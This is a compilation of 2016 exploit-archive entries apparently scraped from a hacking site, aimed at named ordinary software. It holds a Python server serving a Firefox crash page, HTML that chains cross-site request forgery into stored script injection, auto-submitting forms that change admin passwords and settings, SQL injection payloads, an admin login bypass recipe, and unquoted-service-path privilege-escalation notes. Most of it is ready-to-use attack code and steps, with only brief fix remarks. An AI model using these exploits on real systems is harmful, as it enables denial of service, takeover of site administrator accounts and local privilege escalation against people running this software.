        DISPLAY_NAME       : Graylog Collector (GraylogCollector)
        DEPENDENCIES       : Tcpip
                           : Afd
        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"graylog.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
HireHackking 
'''

#Title: Firefox 49.0.1 crash Denial of Service
#Date: 15 Oct 2016
#Author: sultan albalawi
#video: https://www.facebook.com/pentest3/videos/vb.100012552940568/199310163830747/?type=2&theater
#Tested on:win7
#Open link in firefox
#Double click on the Click You will see the report that there are crach


.........................................................................
'''

from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
import subprocess,string
host='192.168.100.3'
port=6060
ban= '\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x5c\x20\x20\x20\x2d\x20\x20'
ban+='\x2d\x20\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e\x20\x20\x2d'
ban+='\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d\x20\x2d\x20\x20\x2d\x20\x2d\x20'
ban+='\x20\x2d\x20\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74'
ban+='\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20\x60\x2e'
ban+='\x20\x20\x20\x20\x2c\x3b\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70\x50'
ban+='\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x60\x2e\x20\x58\x20\x2f\x2e\x27\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20\x2a\x2a\x2a'
ban+='\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f\x60\x20'
ban+='\x60\x20\x28\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x0d'
ban+='\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2f\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x7c\x20\x64\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74\x79\x60\x20\x20'
ban+='\x27\x20\x30\x20\x20\x30\x20\x27\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x2a\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20\x20\x20\x20'
ban+='\x20\x7c\x0d\x0a\x20\x20\x20\x20\x2c\x20\x20\x20\x20\x20\x20\x20'
ban+='\x2c\x20\x20\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20\x20\x60\x2e\x5f\x2e\x27'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d\x5e\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60'
ban+='\x20\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d\x2d\x2c\x2e\x2e'
ban+='\x5f\x3b\x2d\x2d\x2d\x3e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c'
ban+='\x20\x20\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a\x20\x20\x27\x20\x60\x20\x20\x20'
ban+='\x20\x2c\x20\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65\x77'
ban+='\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20\x20\x20\x60\x2e\x5f\x20'
ban+='\x2c\x20\x20\x27\x20\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20'
ban+='\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3b\x20\x2c\x27'
ban+='\x27\x2d\x2c\x3b\x27\x20\x60\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f'
ban+='\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x60\x60\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d'
ban+='\x2d\x60\x20\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20\x20\x20'
ban+='\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5e'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20\x20\x20\x20\x27'
ban+='\x2e\x20\x5f\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20'
ban+='\x7c\x5f\x20\x20\x49\x50\x53\x20\x20\x20\x20\x20\x29\x0d\x0a\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20'
ban+='\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x20\x7c\x7c\x0d\x0a\x20'
ban+='\n'
ban+='\x53\x75\x6c\x74\x61\x6e\x5f\x41\x6c\x62\x61\x6c\x61\x77\x69\n'
ban+='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n'
print ban
print "please wait ...."
i=1
while i <= 4120:
    i+=1
    ban+=string.ascii_uppercase*250
    ban=ban
class Req(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','text/html')
        self.end_headers()
        self.wfile.write('''<html>
                            <head>
                            <title>Firefox 49.0.1 Vulnerability</title>
                            </br>
                            <h1>Firefox 49.0.1 Vulnerability <h1>
                            <h1>\x41\x75\x74\x68\x6f\x72\x3a\x20\x53\x75\x6c\x74\x61\x6e\x2d\x61\x6c\x62\x61\x6c\x61\x77\x69<h1>
                            <h1>\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65\x6e\x74\x65\x73\x74\x33\n<h1>
                            </div>'''+''+'''</body>
                            <script type="text/javascript">
                            function ex() {
                                var buffer = "";
                                for (var i = 0; i < 50000; i++) {
                                    buffer += "\x41";
                                }
                                var buffer2 = buffer;
                                for (i = 0; i < 5000; i++) {
                                    buffer2 += buffer;
                                }
                                document.title = buffer2;
                            }
                            </script></head><body>'helo firefox'<a href="javascript:ex();">CLICK
                            </a></body></html>''')
class runHTTP(HTTPServer):
    def __init__(self,host,port):
        ipadd=(host,port)
        HTTPServer.__init__(self,ipadd,Req)
def createfile():
    global filecreate
    filecreate = "Firefox.dat"
    open(filecreate, "wb").write(ban)
    print filecreate
createfile()
def start():
    global filecreate
    ser=runHTTP(host,port)
    print "http://{}:{}/{}".format(host,port,filecreate)
    ser.serve_forever()
start()
HireHackking 
#########################################################################
# Exploit Title: Wondershare PDFelement Unquoted Service Path Privilege
Escalation
# Date: 10/14/2016
# Author: Saeed Hasanzadeh (Net.Hun73r)
# Vendor Homepage: https://www.wondershare.com/
# Software Link:
http://download.wondershare.com/inst/pdfelement_setup_full1042.exe
#version : 5.2.9
# Tested on: Windows 7
##########################################################################

Wondershare PDFelement installs a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the
service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc WsAppService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WsAppService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Wondershare\WAF\2.2.3.2\WsAppService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Application Framework Service
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem
HireHackking 
# Exploit Title: YouTube Automated CMS 1.0.1 / 1.0.7 - CSRF to Persistent XSS
# Date: 14 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Software Link: https://codecanyon.net/item/youtube-automated-cms/12021939
# Version: 1.0.1 to 1.0.7

----------------------------------------------------------------------------------------------------------------------

Description:
An Attackers are able to execute js and perform CSRF on web
application using YouTube Automated CMS which allow an attacker to
create a post when an authenticated user/admin browses a special
crafted web page. All the process was also possible without any
authenticated user/admin for more info watch the below PoC Video.

The title parameter was not filtering special characters mean
vulnerable to XSS. So, now by creating CSRF exploit code for posting
an article with XSS alert JS payload as title of post. Now if the
attacker is able to perform CSRF attack sucessfully then XSS will be
triggered when someone opens the site using YouTube Automated CMS.

CSRF Exploit Code: 

<html>
  <body>
   <title>[Youtube Automated CMS] CSRF to Persistent XSS</title>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://victim.com/admin/videos.php?case=add&youtube_video_url=https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1681718590736");
        xhr.withCredentials = true;
        var body = "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"title\"\r\n" + 
          "\r\n" + 
          "\"\x3e\x3cscript\x3ealert(/XSSed-By-Arbin/)\x3c/script\x3e\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"details\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"category_id\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"thumbnail\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"published\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"duration\"\r\n" + 
          "\r\n" + 
          "70\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"image\"\r\n" + 
          "\r\n" + 
          "https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg\r\n" + 
          "-----------------------------1681718590736\r\n" + 
          "Content-Disposition: form-data; name=\"submit\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------1681718590736--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <br><br><br>
    <center>
    <h2><font color="red">[Youtube Automated CMS] CSRF to Persistent XSS by Arbin</font></h2>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </center>
  </body>
</html>

PoC Video: https://youtu.be/cCtThSquNSk

Vendor Shouted Urgent Update:
http://wpsup.com/products/youtube-automated-cms/urgent-update-1-0-8-fix-security-bugs/

Fix/Patch: Update to latest version.

----------------------------------------------------------------------------------------------------------------------

Regards,
Arbin Godar
https://twitter.com/arbingodar
HireHackking 
=====================================================
# NO-IP DUC v4.1.1 - Unquoted Service Path Privilege Escalation
=====================================================
# Vendor Homepage: http://noip.com
# Date: 14 Oct 2016
# Software Link : http://www.noip.com/client/DUCSetup_v4_1_1.exe
# Version : 4.1.1
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# Description:
NO-IP DUC v4.1.1 installs as a service with an unquoted service path with name NoIPDUCService4.

# PoC:
Service name : NoIPDUCService4

C:\>sc qc NoIPDUCService4
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NoIPDUCService4
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\No-IP\ducservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : NO-IP DUC v4.1.1
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
		

=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
HireHackking 
<!--
=====================================================
# Simple Forum PHP 2.4 - Cross-Site Request Forgery (Edit Options)
=====================================================
# Vendor Homepage: http://simpleforumphp.com
# Date: 14 Oct 2016
# Demo Link : http://simpleforumphp.com/forum/admin.php
# Version : 2.4
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# Exploit:
-->
<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://localhost/blog/admin.php" method="POST">
      <input type="hidden" name="act" value="addPost" />
	  <input type="hidden" name="act" value="updateOptionsAdmin" />
	  <input type="hidden" name="email" value="attacker@mail.com" />
	  <input type="hidden" name="captcha" value="nocap" /> <!--Set No
Captcha(unsecured)-->
	  <input type="hidden" name="captcha_theme" value="White theme" />
	  <input type="hidden" name="items_link"
value="http://localhost/demo_forum.php" />
	  <input type="hidden" name="time_zone" value="" />
      <input type="submit" value="Submit request" />
	  </form>
    <script>
        document.forms[0].submit();
    </script>
  </body>
</html>
<!--
=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
-->
HireHackking 
=====================================================
# Simple Forum PHP 2.4 - SQL Injection
=====================================================
# Vendor Homepage: http://simpleforumphp.com
# Date: 14 Oct 2016
# Demo Link : http://simpleforumphp.com/forum/admin.php
# Version : 2.4
# Platform : WebApp - PHP
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
=====================================================
# PoC:
Vulnerable Url:
http://localhost/forum/admin.php?act=replies&topic_id=[payload]
http://localhost/forum/admin.php?act=editTopic&id=[payload]
Vulnerable parameter : topic_id , id
Mehod : GET

A simple inject :
Payload : '+order+by+100--+
http://simpleblogphp.com/blog/admin.php?act=editPost&id=1'+order+by+999--+

In response can see result :
Could not execute MySQL query: SELECT * FROM demo_forum_topics WHERE
id='' order by 100-- ' . Error: Unknown column '100' in 'order clause'

Result of payload: Error: Unknown column '100' in 'order clause'
=====================================================
# Discovered By : Ehsan Hosseini
=====================================================
HireHackking 
# Exploit Title :----------------- : JonhCMS 4.5.1 - (go.php?id) - SQL Injection
# Author :------------------------ : Besim
# Google Dork :---------------- :  -
# Date :-------------------------- : 14/10/2016
# Type :-------------------------- : webapps
# Platform : -------------------- :  PHP  
# Vendor Homepage :------- : -
# Software link : -------------- : http://wmscripti.com/php-scriptler/johncms-icerik-yonetim-scripti.html

############ SQL INJECTION Vulnerabilty ##############


-*-*- :  Vulnerable code----------: $req = mysql_query("SELECT * FROM `cms_ads` WHERE `id` = '$id'");
-*-*- :  Vulnerable parameter--: $id
-*-*- :  Vulnerable file------------: http://site_name/path/go.php?id=[SQL injection code]
HireHackking 
# Exploit Title: RSS News AutoPilot Script - Admin Panel Authentication Bypass
# Date: 14 October 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Software Link: https://codecanyon.net/item/rss-news-autopilot-script/11812898
# Version: 1.0.1 to 3.1.0

-------------------------------------------------------------------------------

Description:
An Attackers are able to completely takeover the web application using RSS News - AutoPilot Script as they can gain access to the admin panel and manage the website as an admin.

Steps to Reproduce:
Step 1: Add: http://victim-site.com/admin/login.php in a rule list on No-Redirect Extension.
Step 2: Access: http://victim-site.com/admin/index.php
Step 3: Bypassed.

PoC Video: https://www.youtube.com/watch?v=jldF-IPgkds

Impact: Unauthenticated attackers are able to gain full access to the administrator panel and thus have total control over the web application.

Fix/Patch: Make use of PHP exit() or die() function. / Update to latest version.
HireHackking 
#########################################################################
# Exploit Title: Hotspot Shield Unquoted Service Path Privilege Escalation
# Date: 13/10/2016
# Author: Amir.ght
# Vendor Homepage: https://www.hotspotshield.com
# Software Link: https://www.hotspotshield.com/download/
# version : 6.0.3  (Latest)
# Tested on: Windows 7
##########################################################################

Hotspot Shield installs as a service with an unquoted service path
To properly exploit this vulnerability,
the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc hshld
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: hshld
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Hotspot Shield\bin\cmw_srv.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Hotspot Shield Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
HireHackking 
# Exploit Title :----------- : Colorful Blog - Cross-Site Request Forgery  (Change Admin Pass)
# Author :------------------ : Besim
# Google Dork :---------- :  -
# Date :--------------------- : 13/10/2016
# Type :--------------------- : webapps
# Platform :---------------- : PHP  
# Vendor Homepage :-- : -
# Software link :---------- : http://wmscripti.com/php-scriptler/colorful-blog-scripti.html


Description : 

You can change admin's password with CSRF, if you know admin's username

########################### CSRF PoC ###############################

<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://site_name/path/yonetim/admin.php" method="POST">
      <input type="hidden" name="username" value="admin_username" />
      <input type="hidden" name="password" value="besim" />
      <input type="hidden" name="gonder" value="Kaydet" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>


####################################################################
HireHackking 
#########################################################################
# Exploit Title: IObit Malware Fighter Unquoted Service Path Privilege
Escalation
# Date: 12/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link:
http://www.iobit.com/downloadcenter.php?product=malware-fighter-free
#version : 4.3.1  (Latest)
# Tested on: Windows 7
##########################################################################

IObit Malware Fighter installs two service with an unquoted service path
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
-------------------------------------------
C:\>sc qc IMFservice
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IMFservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\IObit Malware
Fighter\IMFsrv.exe
        LOAD_ORDER_GROUP   : System Reserved
        TAG                : 1
        DISPLAY_NAME       : IMF Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
-----------------------------------------
C:\>sc qc LiveUpdateSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: LiveUpdateSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\LiveUpdate\LiveUpdate.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : LiveUpdate
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem